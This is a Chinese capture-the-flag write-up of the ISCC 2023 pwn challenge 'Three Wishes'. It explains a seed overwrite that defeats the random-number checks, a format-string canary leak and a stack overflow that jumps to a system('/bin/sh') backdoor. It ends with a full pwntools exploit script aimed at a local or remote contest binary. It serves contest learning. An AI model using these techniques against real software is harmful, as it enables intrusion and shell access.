【ISCC 2023】三个愿望
收获
伪随机数绕过
利用格式化字符串漏洞绕过
canary
金丝雀保护最后一步溢出时,跳转地址为
system("/bin/sh")
的地址0x4011F5
,比赛时使用elf.symbols["haveadoor"]
(0x4011D6
)在远程是可以的,但本地无法 PWN 通
(2023年5月1日-2023年5月25日)【ISCC 2023】三个愿望
思路
分析文件并运行:
开启了金丝雀保护,栈不可执行,但没有开启 PIE 地址随机化
在 IDA 下分析:
首先输入 s
,s
的长度为 0x16,观察栈中数据,发现 s
的长度不足以覆盖栈上的返回地址
后面需要绕过伪随机数的校验,发现伪随机数种子 seed
是可以由 s
覆盖的
因此可以通过 s
将 seed
覆盖为我们设置的值,即可绕过每一次伪随机数校验
绕过伪随机数后,进入 secondwish()
函数:
输入 s
并且 printf(s)
存在格式化字符串漏洞
s
的长度为 0x10,无法覆盖栈上的返回地址,最后 var_8
的地方为 canary
当执行完 secondwish()
函数后,v3 = 1
,下一次循环进入 thirdwish()
函数:
输入 s
的长度为 0x40 是可以溢出到返回地址的
但是栈中 var_8
处存在 canary
保护,不可以直接覆盖返回地址
同时,存在后门函数 haveadoor()
:
查看 system("/bin/sh")
的地址为 0x4011F5
所以思路就是利用 thirdwish()
函数中的 s
溢出覆盖返回地址为 0x4011F5
,即可触发 system("/bin/sh")
关键就在于如何绕过金丝雀 canary
来覆盖返回地址
由于 secondwish()
函数中存在格式化字符串漏洞,并且栈中也存在 canary
保护,因此可以利用格式化字符串漏洞将栈上的 canary
的值打印出来,即可获取 canary
的值,在 thirdwish()
函数中利用栈溢出覆盖时保持 canary
的值不动即可
关于 canary
canary 的值在程序每一次运行都是会改变的
但是,在一个程序的一次运行过程中,canary 的值都是相同的
因此secondwish()
函数的栈中泄露出的canary
的值,其实和thirdwish()
函数中的canary
的值是一样的
由于 secondwish()
函数中 s
距离金丝雀 var_8
的长度为:0x30 - 0x8 = 0x28
64 位程序一个参数占用 8 字节,0x28 / 8 = 5,即:var_8
是栈上的第 5 个参数
64 位程序的前 6 个参数存放在寄存器 RDI
、RSI
、RDX
、RCX
、R8
、R9
内,当超过 6 个参数才存入栈中
因此 var_8
的值应在第 6 + 5 = 11 个参数的位置,使用 printf("%11$p")
将其泄露,这个值就是金丝雀 canary
脚本
from pwn import *
from ctypes import * # 导入ctypes库使Python可以执行C语言的函数
context(os='linux', arch='amd64', log_level='debug')
content = 1
elf = ELF("/home/wyy/桌面/PWN/三个愿望/makewishes")
haveadoor_addr = elf.symbols["haveadoor"]
def srand(): # 绕过随机数校验
global io
lib = cdll.LoadLibrary("/home/wyy/桌面/PWN/三个愿望/libc.so.6") # C运行库
lib.srand(1) # 将种子设为1
number = str(lib.rand() % 9 + 1) # 执行随机函数
return number
if content == 1:
io = process("/home/wyy/桌面/PWN/三个愿望/makewishes")
else:
io = remote("59.110.164.72", 10001)
payload = b'a' * (0x16 - 0x08) + p64(1)
io.recvuntil("Now you can make your first wish\n")
io.sendline(payload) # 设置伪随机数种子为1
io.recvuntil("Please give me a number!\n")
io.sendline(srand()) # 绕过伪随机数校验
io.recvuntil("Now you can make your second wish!\n")
io.sendline("%11$p") # 格式化字符串漏洞泄露canary(栈上第11个值)
canary = int(io.recvuntil("\n"), 16) # 接收canary的值
print(hex(canary))
io.recvuntil("Please give me a number!\n")
io.sendline(srand()) # 绕过伪随机数校验
io.recvuntil("Now you can make your final wish!\n")
payload = b'a' * (0x30 - 0x8) + p64(canary) + b'a' * 0x8 + p64(0x4011F5)
io.sendline(payload)
io.interactive()